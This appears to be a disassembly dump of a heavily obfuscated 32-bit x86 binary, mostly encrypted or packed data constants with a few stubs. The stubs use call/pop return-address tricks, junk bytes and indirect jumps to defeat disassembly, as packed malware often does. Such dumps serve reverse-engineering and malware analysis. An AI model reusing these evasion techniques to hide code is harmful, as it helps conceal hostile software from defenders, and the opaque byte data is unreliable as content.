		dd 8BF907E9h, 5F4C4C85h, 528AB350h, 119BD31h, 835B07E9h
		dd 816607C0h, 83CDD2F3h, 8B6600C0h, 0FD03BFEh, 983h, 39E9F900h
		dd 0F000000h, 8D8BDABFh, 0FFFFFFFFh, 18C98D29h,	0E18307E9h
		dd 21840F01h, 89000000h, 0E916CD8Dh, 0FFA58307h, 0FEFFFFFFh
		dd 89FAB70Fh, 5F4C4C95h, 2DBD8950h, 0E907E917h,	0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+7EDCAE3h]
		mov	edi, eax
		push	0
		jmp	loc_5D913E
; ---------------------------------------------------------------------------
		db 9Fh
		dd 0EB684769h
		db 0A9h, 0BCh
; ---------------------------------------------------------------------------


loc_5D913E:				; CODE XREF: sdfs____:005D9132j
		call	dword ptr [ebp+7E90C31h]
		mov	ecx, 0FB6h
		mov	ebx, 7C3BFEB6h
		and	ecx, 0FFFFFFFCh
		push	0
		push	ecx
		call	sub_5D915C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D915C	proc near		; CODE XREF: sdfs____:005D9154p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5D915C	endp

; ---------------------------------------------------------------------------
		dd 8BA87EEEh, 0E934399Dh, 6AFC07h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 3C5372C3h, 0FC5B7574h
		dd 95CEFF6h, 0E91D298Dh, 0AD9D0307h, 2B07E90Eh,	2BFD8AC0h
		dd 74DCBFD2h, 33AD38F8h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 9D8B8AC3h, 7E90FE5h,	16119D33h, 880D07E9h, 0F000000h
		dd 485h, 96BF6600h, 0D958BFCh, 0E907E932h, 6, 8C085FEAh
		dd 8D8B03D8h, 7E922E5h,	1389BD8Bh, 8B5007E9h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 14E8h, 75C11B00h, 0F40DC726h
		dd 0AE749F17h, 0B885454Bh, 874B80D6h, 0C38166F3h, 8B5BA461h
		dd 0E92F3D9Dh, 0FD958907h, 8307E911h, 0E91C2DBDh, 840F0007h
		dd 96h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h
		dd 17C35747h, 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0D59DB01h, 522869C6h
		dd 859BD89h, 8D8D07E9h,	7E94D5Ah, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0CEC35646h,	0A1A659E2h, 6AE1FFE6h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0B4F6C353h, 0E89E3D6Fh, 0BD83FD7Bh, 7E922B1h
		dd 0E0840F00h, 0E9000004h, 0Eh,	83381h,	83AAEABAh, 1836D5CAh
		dd 0BD835133h, 7E922B1h, 0DB840F01h, 6A000004h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 7B4DC355h, 0BBD635A0h, 0EE9BCB8h, 6000000h, 81BBC537h
		dd 8A5E14EDh, 72FB698Bh, 0FDB5018Fh, 8307E91Dh,	0E922B1BDh
		dd 860F0307h, 45Ch, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0D4C35545h, 558F0858h, 0E1714CC8h, 17119D8Bh
		dd 810F07E9h, 5, 0F9BF0F50h, 8E0F605Fh,	14h, 0CE8h, 0AD99E000h
		dd 0E27565C4h, 157FD26Eh, 5F5B53DFh, 8BD98C66h,	0E909719Dh
		dd 4E18007h, 0FC90AF8h,	15484h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 8B007E16h
		dd 0E9003D9Dh, 55858B07h, 6007E90Ch, 6870Fh, 9D010000h
		dd 7E9013Dh, 0E9853361h, 6607E91Ch, 0FD391BFh, 128Bh, 9E800h
		dd 0EA210000h, 3A15C0EFh, 6666CD7Fh, 905BD88Bh,	0E950D88Bh
		dd 12h,	5DA15F59h, 0E7D4E15Dh, 6B56EAFh, 81C5458Bh, 6A90D8D7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 96EDC350h, 6810Fh, 0B5290000h, 7E90F05h
		dd 0B58501h, 6A07E9h, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 14h, 0CAC35343h, 4B398068h, 840FB3h, 81000000h
		dd 0CA7F2404h, 6A4CD3h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 816652C3h, 8BE681DFh, 0D995FFFBh
		dd 6A07E902h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 3726C355h, 6E8C665h, 0A9000000h
		dd 0F5924D0Ah, 459D8BFAh, 5B07E90Bh, 3591BD8Bh,	858907E9h
		dd 7ECD785h, 34C5BD8Bh,	14E907E9h, 0E9000002h, 9, 0A53FD16Ch
		dd 4B10A967h, 7D858B77h, 6A07ECD7h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 4BDFC355h
		dd 1BE75084h, 517EAB9h,	15498D89h, 0C707E9h, 18h, 0EE9h
		dd 36FD0A00h, 0C9535570h, 7893E758h, 8BEA084Dh,	0ECD781B5h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 13CC22Fh, 0E935758Dh, 8BFA8B07h,	0E9185985h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 623013Bh, 0D18D8959h, 0BF07E923h, 41CCC46Eh
		dd 6A0689h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 3BDDDCC3h, 8BFBBF0Fh, 0E90C5585h,	0DFBF0F07h
		dd 6A044689h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0FB5BC357h, 66333754h,	0E830AC0Ch
		dd 0Bh,	2B12D040h, 462BEC3Ch, 29A9E1B8h, 0E90F7585h, 85095B07h
		dd 7E91ECDh, 66525096h,	310FF98Bh, 5E9h, 0F6493800h, 585A3092h
		dd 0FA96BF50h, 0E99667B6h, 14h,	9FD50D2Eh, 0F3478A22h
		dd 59AD0CBDh, 349D069Fh, 11FF97BDh, 0D77DB5FFh,	6A07ECh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 2C8AD9C3h, 1CFBE3C7h, 24E9BD89h, 4E807E9h, 0FF000000h
		dd 0BF001F03h, 5FE52B23h, 0BFDFBF50h, 448B60C3h, 0BB500424h
		dd 2BDFFE58h, 8A008B5Bh, 244489DDh, 0BD2B5804h,	7E90B05h
		dd 0D785858Dh, 0B53107ECh, 7E92685h, 0FBB70F60h, 5061FD8Ah
		dd 7E960h, 0AF180000h, 59977769h, 48961C1h, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0AA0EA38h, 380EF58Eh, 809BD89h, 95FF07E9h, 7E902D9h
		dd 0B998D31h, 816607E9h, 61AA1EF3h, 2A319D89h, 665307E9h
		dd 115CDB81h, 0B185C75Fh, 307E922h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0FDFAC355h, 22DD0DA6h, 9D8B5550h, 7E91191h, 1F759589h
		dd 0BD8307E9h, 7ECD785h, 49840F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 3AE6C357h, 0BD035722h, 7E908C9h, 3AE9h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 8AE78027h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0FD3C353h, 665B4539h, 0BD83DE8Bh
		dd 7E922B1h, 9C850F03h,	66000004h, 0BD83FA8Bh, 7ECD785h
		dd 8C840F00h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0FFB3C352h,	0C146E21Dh
		dd 8B80DA7Ah, 0E916F1BDh, 6870F07h, 8B000000h, 0E91A199Dh
		dd 85B5FF07h, 6607ECD7h, 0BE6AF381h, 134995FFh,	0BB6607E9h
		dd 8953E7A5h, 0E920719Dh, 0B58B5B07h, 7ECD779h,	0C787C780h
		dd 1000106h, 50006A00h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 7A3DF3C7h, 5E92Eh, 0DA7C0000h, 0E82B47F2h
		dd 0Fh,	2FFA3785h, 0C9C7228Ah, 1BDF55E4h, 663C0E31h, 5BD2B6BBh
		dd 9E95150h, 0C4000000h, 0E7481F52h, 0C8D7B183h, 2434895Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 4AC35343h
		dd 3F22D243h, 0DEC8B70Ch, 0C99D23A4h, 0FF07E92Ah, 0ECD785B5h
		dd 7E907h, 3F990000h, 2E832E3Dh, 0B195FF29h, 6A07E91Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h
		dd 0B4CEC350h, 0FB7F927h, 79B58BF5h, 6A07ECD7h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 1B7AC351h, 60B3F0C2h, 89D0B70Fh, 0E901418Dh,	858B6107h
		dd 7E92449h, 0C98BBB66h, 1443E381h, 8689079Ah, 0C4h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0E8C35040h, 419D0B58h
		dd 8B07E921h, 0E9320D95h, 7D9D0B07h, 8307E913h,	6A04C2h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0C838D9C3h, 76B55ED9h, 8F0FA6A0h, 1,	205089F8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0FAC35141h, 0A1858DEBh
		dd 6A07ECECh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 6D2AC357h, 3263FEh, 0B88689h
		dd 6AF90000h, 0D8BF0F00h, 0D785B5FFh, 6A07ECh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 95FF10C3h, 7E902CDh,	89D98B50h, 6A2434h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 9C7C22C3h
		dd 0B59D01EAh, 0FF07E900h, 0ECD785B5h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 0E86487E6h, 13h, 9C4B37DCh, 0EF2D64ABh, 0B8DA54Dh, 1620A875h
		dd 0F177682h, 28Fh, 5FB3B300h, 1618589h, 95FF07E9h, 7E9302Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 35C35141h
		dd 0CA5FDCE6h, 0BD838469h, 7E91EC9h, 73840F00h,	0F000000h
		dd 158Fh, 10E900h, 0F0230000h, 2AAC7E0Ah, 6F853206h, 57F24A04h
		dd 8950A945h, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0F508EEC3h, 9E94358h, 6A000000h
		dd 0A05456D5h, 6F941A54h, 20820Fh, 890F0000h, 1Ah, 14E8h
		dd 166B3500h, 0B97AE6ABh, 41753A6Bh, 0EDB1197Eh, 0EA675004h
		dd 0B5FF5FB5h, 7ECD785h, 0CAEB8166h, 9D95FFE9h,	0FF07E91Fh
		dd 0ECD785B5h, 0D858907h, 8107E935h, 0A7A45DFh,	3995FF70h
		dd 6A07E901h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 8427C356h, 0C6C249FCh,	2B52F8D0h
		dd 11FD8589h, 0BD8307E9h, 7E929CDh, 9E840F02h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0D289C356h, 2A499D33h, 858B07E9h,	7E90875h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 38C35141h
		dd 70894317h, 0BF66644Eh, 13E9h, 27F45D00h, 440C9EB9h
		dd 0F5F839A8h, 5EE56CC8h, 2EC5D069h, 0AE9h, 0DF359B00h
		dd 0A1B023Bh, 0C6481937h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 86FE46C3h, 8BF273FCh
		dd 0E91BB19Dh, 0AD85C707h, 7E924h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8977C356h, 0E90BFD85h, 95B58907h, 0E907E90Eh, 0FFFFF2E1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 7BC35343h
		dd 10890Fh, 0BE90000h, 0B0000000h, 3F3D560Ch, 4F2CF271h
		dd 0C18BFFB0h, 6E9h, 0D2E9F00h,	0E9229FD5h, 21h, 0D595FD6h
		dd 7 dup(0)
		dd 533E900h, 39D20000h,	0F61AB63Fh, 0A94FE984h,	0A2F25ED7h
		dd 0E238D20h, 0D069C76Eh, 862F4DE0h, 0F479FB2Ah, 28C5B758h
		dd 610C6E8Ch, 0AFEFA2FCh, 61286E65h, 0CAC7512Bh, 286E65CAh
		dd 3290584Ah, 0DFD2A04Ah, 305CC4DFh, 87C7431h, 9F869549h
		dd 2FAB7B09h, 51C3720Ah, 962FB9BBh, 0C62B441Eh,	0CBC65009h
		dd 305BF2CBh, 5F935F45h, 0F8D8541h, 5145AD37h, 6E23BDBBh
		dd 305BF32Eh, 0CDCDBCE6h, 47305BF2h, 6977CF5Dh,	9D1F77DFh
		dd 4E4E4341h, 3F305BF3h, 534A79C3h, 0F2AFE71Ah,	58E13AECh
		dd 6CC45AE5h, 0ED6A448h, 0C400A943h, 0FA94436h,	0B31D90E8h
		dd 0B400DC9Ch, 1007DF5Dh, 749B4DECh, 2DCF6904h,	23ABD165h
		dd 4FD96F09h, 0ADFD98B6h, 0F931FFE3h, 3DE1FCA5h, 54B8305Ch
		dd 679C64B5h, 62DA8431h, 0E8000000h, 0AD2A04Ah,	3E44981Ah
		dd 5CC54B4Bh, 4EDFC530h, 79C8314Bh, 0AB7B098Ah,	5C64B8FAh
		dd 0B25BBD30h, 0C5C2A944h, 305D5D54h, 0EDB7305Ch, 2BFE7B58h
		dd 0E404FCCFh, 1628430h, 40000000h, 8D4A64Ah, 3DBFD67Eh
		dd 2F0B8999h, 0C915678Bh, 0CF17958Dh, 0A7481482h, 48F11DD5h
		dd 7302789Ch, 0A4492BC1h, 39DC781Eh, 786CEF44h,	0C7551A4Dh
		dd 298D657Fh, 12AC7004h, 9D5A74Ah, 2E75297Ch, 4DE3245Fh
		dd 691D31E5h, 5E68B438h, 5C076323h, 61F7AD30h, 2EB873D3h
		dd 17EF91A6h, 9039A58Dh, 3ABBC154h, 22027C9Eh, 26FE8096h
		dd 36E38AB6h, 843197BEh, 3ABAEB73h, 0DD10D8EAh,	48h, 0E3A74AE5h
		dd 45992F49h, 4995E709h, 0B541E80Ch, 0B8700429h, 0F283F91Ch
		dd 75C9B346h, 0E0A0D16Bh, 30305CC4h, 2128672h, 0CBC80h
		dd 0DA38B859h, 3BB68430h, 0C000000h, 9D5A74Ah, 72D2AA4Dh
		dd 28DC7D97h, 44FE7705h, 8D4A64Ah, 5CC53E99h, 0F7811D30h
		dd 5CC4FABAh, 0A0881A30h, 0CC599D3Ch, 0C51B3312h, 289B57A5h
		dd 84315FD8h, 116h, 0A44AAC00h,	0EE36B4ECh, 0C4E1A1D0h
		dd 7133305Ch, 0C5F14DE3h, 0DDF94537h, 981C7539h, 7A9E3A0Ah
		dd 4F413C00h, 0ADD34CAEh, 4436D80Ch, 80913DA9h,	0C55B25CAh
		dd 0A0D16B79h, 305CC4E0h, 0EB867230h, 544DDF48h, 37B5ADD9h
		dd 0DFFB4B59h, 6B2433Dh, 0CBBA8AF4h, 2873AEC9h,	0CE16968Fh
		dd 300C6E82h, 8674157Bh, 9A5CFD17h, 0FEFCFF03h,	0DD739855h
		dd 0B34143A3h, 0BFB95347h, 6709A36h, 3446E874h,	0C21EDAE8h
		dd 0CA1A64F6h, 12276B8Eh, 4C08D46Ah, 1B0CD0AAh,	7C9054F5h
		dd 971368FEh, 9B5729CFh, 0F812D677h, 7252F77Eh,	8C8C1A22h
		dd 133h, 37A0B3D6h, 99ADECA5h, 3F6537B5h, 3341EBE7h, 739A3E7Eh
		dd 6FCBD628h, 4126FE00h, 1426A634h, 9A42D46Ah, 0A32E0A74h
		dd 0A8A9B43h, 5440A83Ah, 96F82C6h, 73AC1898h, 14AAF828h
		dd 0F812BE86h, 0AC87077Ah, 1B892873h, 0A2E2B985h, 5123C9FBh
		dd 0FDD12EC7h, 478B5366h, 75BCFCB5h, 4E542873h,	5AAA1FE2h
		dd 0DF8C1A2Fh, 824C4C45h, 0DEC42873h, 39DF12h, 0B3EB0000h
		dd 19B2DBAh, 6DC5B745h,	5CC53C9Ch, 76CED4B0h, 5CC50F8Fh
		dd 3FDE06B0h, 0DA6CFB0Ch, 5CC507A7h, 75AD0930h,	7BCC61F7h
		dd 8Fh,	1C9C15AFh, 0F4305CC5h, 0B34042AEh, 0ECA537A0h
		dd 37B593F1h, 0B703E3C1h, 2EBCDCA5h, 0BCB2EA59h, 733CC5C5h
		dd 0C7554F28h, 0FA10BC31h, 831AA478h, 0DE845EDh, 2CDD15C9h
		dd 2873B18Fh, 65B93B6Bh, 68B43869h, 0D31DC65Dh,	4A414257h
		dd 677832Ah, 0F18B6B12h, 73AD0080h, 4AC8D828h, 2490584Ah
		dd 96C96416h, 77A0C9Bh,	30664D35h, 7955A9FBh, 715DA1D3h
		dd 0B479FDDh, 0C24995E7h, 4FFFBA2h, 0DB565900h,	75C7BA4Ch
		dd 0BB2877EDh, 0B3FE44E9h, 0ECA537A0h, 384F645Ah, 15D4CBD6h
		dd 54945061h, 5C66BE3Ch, 0E8E438CEh, 13BD3042h,	19A77FF9h
		dd 0DB35D28Ch, 0DC95EDFh, 31B393E9h, 0F74208F9h, 17873298h
		dd 1DD5574Fh, 7E9C48F1h, 0F80989F8h, 990B1DB6h,	0F812920Fh
		dd 0A0021DB6h, 1B316312h, 53FB8559h, 6563C3BDh,	0B6F86C2Ch
		dd 68FEA41Dh, 7EFC1480h, 0AE4F71A6h, 0BCA1D07Ah, 95987162h
		dd 0DD49E47Ah, 5F4E4E43h, 0DCC61DB7h, 0E88AA014h, 0CA314h
		dd 54C30000h, 2C823BD2h, 2137178Bh, 0A14AFBC9h,	0A9430FD7h
		dd 0B45B77CFh, 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h
		dd 0CD636FB7h, 0D36753B3h, 685E55A9h, 4D41h, 89242C89h
		dd 4C581E5h, 83000000h,	2C8704EDh, 71685C24h, 8900007Ah
		dd 0F682414h, 89000055h, 0B850241Ch, 5E104438h,	3501E883h
		dd 3E396C61h, 0C5374205h, 58C289A7h, 4EC81h, 24890000h
		dd 24048124h, 4, 4825685Bh, 14890000h, 24048124h, 7CB477A9h
		dd 8108438Fh, 77A9086Bh, 1C8B7CB4h, 0E3895324h,	4C381h
		dd 0C3830000h, 241C8704h, 2434FF5Ch, 4C4815Ah, 0E9000000h
		dd 0FFFB16FAh, 6441B8F0h, 0C50307EEh, 0AB9EE0FFh, 0B2E12918h
		dd 0EBD74308h, 0E6B80DE3h, 79185049h, 54D53B30h, 0E47C6934h
		dd 547952D3h, 0B9BD4B77h, 9ACA1978h, 98CF4775h,	5A1C79E0h
		dd 919C4F84h, 78A614Bh,	26B1613Fh, 858D2E68h, 7E90861h
		dd 169D9D03h, 8A9007E9h, 0F99050FDh, 561FF781h,	6A6C49h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 3CC35242h
		dd 9D896A5Fh, 7E93535h,	858D006Ah, 7EE66D7h, 6AD567BFh
		dd 5C0834Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	51C35242h, 89E31D86h, 6810FD0h,	89000000h, 0E900F19Dh
		dd 0BFBF5007h, 89533739h, 8B662404h, 6A006AF9h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 8A84C353h, 850916E9h, 7E9200Dh, 8B60006Ah, 0E90749B5h
		dd 39852907h, 6107E92Ah, 0FB995FFh, 6A07E9h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 9BB0DC3h
		dd 5F5FD72Eh, 0BD8BC857h, 7E90F41h, 0D72C8D8Dh,	8B6007ECh
		dd 0E92275B5h, 0F19D8907h, 6107E92Fh, 9D89D1FFh, 7E92B41h
		dd 1B69BD83h, 0F0107E9h, 0B085h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 5800F6F7h
		dd 0FDBDAAE4h, 8B669A9Fh, 89026AF8h, 0E90F618Dh, 0D88B9007h
		dd 52506050h, 5E8h, 4B84D400h, 0F5BC5ABh, 0F525031h, 5A585A31h
		dd 0D08B6658h, 12E89061h, 0C3000000h, 96B0301Ch, 0FCC79F60h
		dd 7203B922h, 0FDA4C207h, 0EE8A0h, 0FC7B0000h, 0E9B2D496h
		dd 0E642772Eh, 9CAA3D23h, 9E9h,	0B7AF6600h, 0BB61BC75h
		dd 5B5F1EADh, 2CD95FFh,	6A07E9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 8AD623C3h, 0CCEE9D9h
		dd 0E80000h, 5D000000h,	66E1ED81h, 6A07EEh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 484A5AC3h
		dd 74651DA8h, 5FF853FCh, 0B406858Dh, 0F6007ECh,	8D89D0B7h
		dd 7E90335h, 4895061h, 0B9853124h, 6407E912h, 35FFh, 0BD2B0000h
		dd 7E93489h, 258964h, 0B000000h, 0E900E1BDh, 19D8B07h
		dd 0FF07E901h, 0E90F9D85h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 9D3384FCh
		dd 0DB48D3DFh, 9E9E5B6h, 8000000h, 459FEE9Bh, 47A7CBA1h
		dd 0AE9h, 5B558800h, 0BB029B9Ch, 6A45C334h
		dd 0FA8B66FFh, 2279B5FFh, 0F98B07E9h, 233D95FFh, 34E907E9h
		dd 89000001h, 0E92101BDh, 0F00B007h, 68Ah, 0FECB8100h
		dd 0E67BF147h, 659D8B70h, 0E407E931h, 0E7816671h, 613C5F07h
		dd 109830Fh, 0E0B30000h, 52C8B60Fh, 11DD9D8Bh, 0BA5B07E9h
		dd 6, 7541DF81h, 0C18B4C51h, 0E7EF8166h, 4E8C1AEh, 1AEFEF81h
		dd 0BE966EBh, 0E4000000h, 0B5068728h, 9360FAAEh, 0F7662543h
		dd 0E1BD33E2h, 2B07E929h, 18589C8h, 8B07E91Dh, 0FE8D1h
		dd 60B00000h, 0EBD71A29h, 35782B3Eh, 0A9C7421Eh, 5FD98BB0h
		dd 0A2E9h, 11E800h, 14250000h, 1CE6F556h, 0BEB1F805h, 0C7C806E0h
		dd 0FC5254Fh, 684h, 840F00h, 5B000000h,	5E9h, 5412BB00h
		dd 858B6FCCh, 4947554Ch, 8D38166h, 7C0838Eh, 0C6816660h
		dd 8361D177h, 0FE8B00C0h, 830FD03Bh, 14h, 0F5EDF81h, 8D897D5Bh
		dd 7E92269h, 42E9h, 7BEB8000h, 0FFFF8D8Bh, 0DF8BFFFFh
		dd 0F01E183h, 2E84h, 7E800h, 9ECB0000h,	0E61B9E2Eh, 0DBB70F2Ah
		dd 0FFA5835Bh, 0FEFFFFFFh, 0D390D381h, 958901A1h, 4947554Ch
		dd 2C8D9D8Bh, 0E907E9h,	8D000000h, 0EDDA99B5h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0D1600813h, 7126F7CBh, 0B2D9D8Bh, 6A07E9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0DCC35747h, 0EC218E7Eh
		dd 0BE8DEh, 0E97A0000h,	57B10326h, 23ABB93Ah, 0BD9D8B70h
		dd 5F07E92Fh, 16299D23h, 95FF07E9h, 7E90C31h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0BBC35545h, 33B8D88Bh
		dd 9F49E71h, 0E9092DBDh, 10B0B907h, 0B3BB0000h,	835C1BA3h
		dd 8B66FCE1h, 6AFCFBh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0E7C477C3h, 0D3C0BDDFh, 0C02B625Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9BC35141h
		dd 0B858A47Fh, 0FC247B3h, 1C83h, 168D0F00h, 0E9000000h
		dd 11h,	84C9A72Dh, 51ACDBAEh, 0A0298CDh, 0D2AD27E8h, 2BFD8A7Ch
		dd 53006AD2h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 36656761h, 0E999F068h, 6, 0C1C05B59h, 33AD97ACh
		dd 3E8D1C2h, 4E983D0h, 0BD89F475h, 7E91FE5h, 0DDEB70Fh
		dd 88h,	210D9D89h, 958B07E9h, 7E9320Dh,	10E9h, 0A2D3F900h
		dd 7F1F8C5h, 91A4665Bh,	0E386BFFEh, 0E58D8B68h,	6607E922h
		dd 77D7C781h, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 0DF8B5818h, 1C2DBD83h, 0F0007E9h, 6184h, 9E900h, 58620000h
		dd 16EEE0D6h, 0B80F7570h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5DA867
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DA867	proc near		; CODE XREF: sdfs____:005DA85Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5DA867	endp

; ---------------------------------------------------------------------------
		db 0B1h
; ---------------------------------------------------------------------------
		fild	word ptr [edi-7FEF3129h]
		retf
; ---------------------------------------------------------------------------
		db 6Ch
; ---------------------------------------------------------------------------
		sbb	di, 27B6h
		lea	ecx, [ebp+7E94D5Ah]
		jmp	loc_5DA8A3
; ---------------------------------------------------------------------------
		dd 0D3F7EE83h, 0A37E0B20h, 4160984Bh, 0B98BBA03h
		db 7Ah,	62h, 3Eh
; ---------------------------------------------------------------------------


loc_5DA8A3:				; CODE XREF: sdfs____:005DA88Bj
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	edi, 1A03CDE7h
		cmp	dword ptr [ebp+7E922B1h], 0
		jz	loc_5DACA4
		stc
		cmp	dword ptr [ebp+7E922B1h], 1
		jz	loc_5DACBF
		push	0
		push	esi
		call	sub_5DA8D0
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DA8D0	proc near		; CODE XREF: sdfs____:005DA8C8p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5DA8D0	endp

; ---------------------------------------------------------------------------
		dd 8C89C762h, 0BD834F6Bh, 7E922B1h, 96860F03h, 6A000003h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0FAE7C356h, 4EEF8166h, 6A60A2h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 14708FC3h
		dd 8010D8F3h, 0F8D21EC5h, 6AD98C66h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0D6E8C353h
		dd 7771AA30h, 4C873EAFh, 7119531h, 0E18007E9h, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0FC90A1Bh, 10284h, 49B50900h, 8B07E912h, 0E90C5585h
		dd 0E9853307h, 6A07E91Ch, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 5712C353h, 0F85CD7E5h
		dd 0DE95150h, 0F5000000h, 0FE26DA98h, 55542166h, 0A7ACF1CFh
		dd 2404895Fh, 0BE8h, 74238F00h,	27E64E02h, 0F8AC148Bh
		dd 0BB5FFB8Bh, 5B86443Ah, 0B268006Ah, 0BFC7CA10h, 538E131Bh
		dd 4D240481h, 6A3854F3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0C4D5C353h,	2E3CCDCDh
		dd 0FFDEB2Ch, 0BD33FEB7h, 7E90B75h, 2D995FFh, 816607E9h
